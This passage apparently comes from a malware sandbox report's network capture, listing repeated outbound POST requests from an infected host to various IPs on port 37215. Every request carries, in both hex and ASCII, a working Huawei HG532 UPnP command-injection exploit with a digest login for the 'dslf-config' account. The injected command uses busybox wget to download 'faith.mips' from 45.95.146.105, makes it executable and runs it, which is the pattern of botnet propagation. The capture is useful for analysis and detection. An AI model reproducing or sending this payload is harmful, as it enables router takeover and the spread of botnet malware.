20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:30.611612082 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	50716	156.254.68.195	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:31.017944098 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:32.571789980 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:34.395471096 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:38.138897896 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:45.562016964 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:00.151854038 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:30.611618042 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	58894	154.214.87.143	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:34.339310884 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r 